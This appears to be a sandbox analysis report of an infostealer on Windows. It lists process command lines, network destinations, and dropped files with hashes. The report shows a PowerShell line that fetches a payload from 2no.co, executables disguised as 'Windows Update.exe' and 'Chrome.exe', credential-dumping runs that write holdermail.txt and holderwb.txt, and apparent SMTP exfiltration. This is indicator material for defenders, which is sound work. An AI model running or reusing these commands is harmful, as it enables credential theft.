"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nologo -command "iwr -uri https://2no.co/2Appw5"
C:\Users\Admin\AppData\Roaming\Windows Update.exe
"C:\Users\Admin\AppData\Roaming\Windows Update.exe"
C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe /stext "C:\Users\Admin\AppData\Local\Temp\holdermail.txt"
C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe /stext "C:\Users\Admin\AppData\Local\Temp\holderwb.txt"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 2no.co | udp |
| DE | 148.251.234.93:443 | 2no.co | tcp |
| US | 8.8.8.8:53 | iplogger.org | udp |
| DE | 148.251.234.83:443 | iplogger.org | tcp |
| US | 8.8.8.8:53 | whatismyipaddress.com | udp |
| US | 104.16.155.36:80 | whatismyipaddress.com | tcp |
| US | 104.16.155.36:443 | whatismyipaddress.com | tcp |
| US | 20.42.65.88:443 | tcp | |
| US | 8.8.8.8:53 | smtp.vivaldi.net | udp |
| IS | 31.209.137.12:587 | smtp.vivaldi.net | tcp |
| US | 93.184.221.240:80 | tcp | |
| US | 209.197.3.8:80 | tcp |
Files
memory/2576-130-0x0000000074CA0000-0x0000000075251000-memory.dmp
memory/4640-131-0x0000000000000000-mapping.dmp
C:\Users\Admin\AppData\Local\Temp\Chrome.exe
| MD5 | ceb41183c47cfdfc02f2f823f59345a4 |
| SHA1 | a8ce2f8b8912e5d59653af4e426e8ddd92823e1e |
| SHA256 | 338b52b52f0352a2c543b60ead3e80767bd32d44fc5dee050fef4a703ce58fc0 |
| SHA512 | 6ce3b9e1712023cdacb1b23f15ed9ff634c93c95b7d05f4c86e38cd06db8aa7b818f49e607ddbe11bb588af9b996f9daa7b7f2cb31b67ab6067429d95c6efbed |
C:\Users\Admin\AppData\Local\Temp\Chrome.exe
| MD5 | ceb41183c47cfdfc02f2f823f59345a4 |
| SHA1 | a8ce2f8b8912e5d59653af4e426e8ddd92823e1e |
| SHA256 | 338b52b52f0352a2c543b60ead3e80767bd32d44fc5dee050fef4a703ce58fc0 |
| SHA512 | 6ce3b9e1712023cdacb1b23f15ed9ff634c93c95b7d05f4c86e38cd06db8aa7b818f49e607ddbe11bb588af9b996f9daa7b7f2cb31b67ab6067429d95c6efbed |
memory/1720-134-0x0000000000000000-mapping.dmp
memory/2576-135-0x0000000074CA0000-0x0000000075251000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\s7.vbs
| MD5 | 46ea1b5552e77fbc7679f93124754c57 |
| SHA1 | 39cbbdba52ccacd8f874c7afac32b712c2e5bff9 |
| SHA256 | 54a60ce0810b7b0d3e2ab1a9f9f51752d7573a694ec7c1c252a907fb3117bca5 |
| SHA512 | ac9f19f3314ec3f1c71d4e4681de52102d33110ed4f662b3e2c2a4577f66581d3ba43577ad5ff4ba557145afbf97aa4daec825f57bc9cfda4efd335530d6cb70 |
memory/4640-137-0x0000000074CA0000-0x0000000075251000-memory.dmp
memory/3300-138-0x0000000000000000-mapping.dmp
memory/3300-139-0x00000000046A0000-0x00000000046D6000-memory.dmp
memory/3300-140-0x0000000004E00000-0x0000000005428000-memory.dmp
memory/3300-141-0x0000000004DA0000-0x0000000004DC2000-memory.dmp
memory/3300-142-0x00000000055A0000-0x0000000005606000-memory.dmp
memory/3300-143-0x0000000005680000-0x00000000056E6000-memory.dmp
memory/3300-144-0x0000000005C70000-0x0000000005C8E000-memory.dmp
memory/3300-145-0x00000000074B0000-0x0000000007B2A000-memory.dmp
memory/3300-146-0x0000000006180000-0x000000000619A000-memory.dmp
C:\Users\Admin\AppData\Roaming\Windows Update.exe
| MD5 | ceb41183c47cfdfc02f2f823f59345a4 |
| SHA1 | a8ce2f8b8912e5d59653af4e426e8ddd92823e1e |
| SHA256 | 338b52b52f0352a2c543b60ead3e80767bd32d44fc5dee050fef4a703ce58fc0 |
| SHA512 | 6ce3b9e1712023cdacb1b23f15ed9ff634c93c95b7d05f4c86e38cd06db8aa7b818f49e607ddbe11bb588af9b996f9daa7b7f2cb31b67ab6067429d95c6efbed |
memory/1852-147-0x0000000000000000-mapping.dmp
C:\Users\Admin\AppData\Roaming\Windows Update.exe
| MD5 | ceb41183c47cfdfc02f2f823f59345a4 |
| SHA1 | a8ce2f8b8912e5d59653af4e426e8ddd92823e1e |
| SHA256 | 338b52b52f0352a2c543b60ead3e80767bd32d44fc5dee050fef4a703ce58fc0 |
| SHA512 | 6ce3b9e1712023cdacb1b23f15ed9ff634c93c95b7d05f4c86e38cd06db8aa7b818f49e607ddbe11bb588af9b996f9daa7b7f2cb31b67ab6067429d95c6efbed |
memory/4640-150-0x0000000074CA0000-0x0000000075251000-memory.dmp
memory/1852-151-0x0000000074CA0000-0x0000000075251000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\SysInfo.txt
| MD5 | 9adcd38d352368d85ae6dc22cd2393ec |
| SHA1 | 608f7f4ddd5547b537b1a3075a12a11ff03bdd82 |
| SHA256 | 2fa2cf15eacef5258245ba5f331cfd8286547cca36babb479e46deb0b9000408 |
| SHA512 | b3eab8af2d965a158abcf385c4ff386ff170214779ba29976e21f2044f0fc2ee16766e4496cd0ffe21fed789aaad91e0ff27ff0fad16bd51e5b19b1332508d28 |
memory/1852-153-0x0000000074CA0000-0x0000000075251000-memory.dmp
memory/1852-154-0x000000000246C000-0x000000000246F000-memory.dmp
memory/4764-155-0x0000000000000000-mapping.dmp
memory/4764-156-0x0000000000400000-0x000000000041B000-memory.dmp
memory/4764-158-0x0000000000400000-0x000000000041B000-memory.dmp
memory/4764-159-0x0000000000400000-0x000000000041B000-memory.dmp
memory/1852-160-0x000000000246C000-0x000000000246F000-memory.dmp
memory/4332-161-0x0000000000000000-mapping.dmp
memory/4332-162-0x0000000000400000-0x0000000000458000-memory.dmp
memory/4332-164-0x0000000000400000-0x0000000000458000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\holderwb.txt
| MD5 | f94dc819ca773f1e3cb27abbc9e7fa27 |
| SHA1 | 9a7700efadc5ea09ab288544ef1e3cd876255086 |
| SHA256 | a3377ade83786c2bdff5db19ff4dbfd796da4312402b5e77c4c63e38cc6eff92 |
| SHA512 | 72a2c10d7a53a7f9a319dab66d77ed65639e9aa885b551e0055fc7eaf6ef33bbf109205b42ae11555a0f292563914bc6edb63b310c6f9bda9564095f77ab9196 |
memory/4332-166-0x0000000000400000-0x0000000000458000-memory.dmp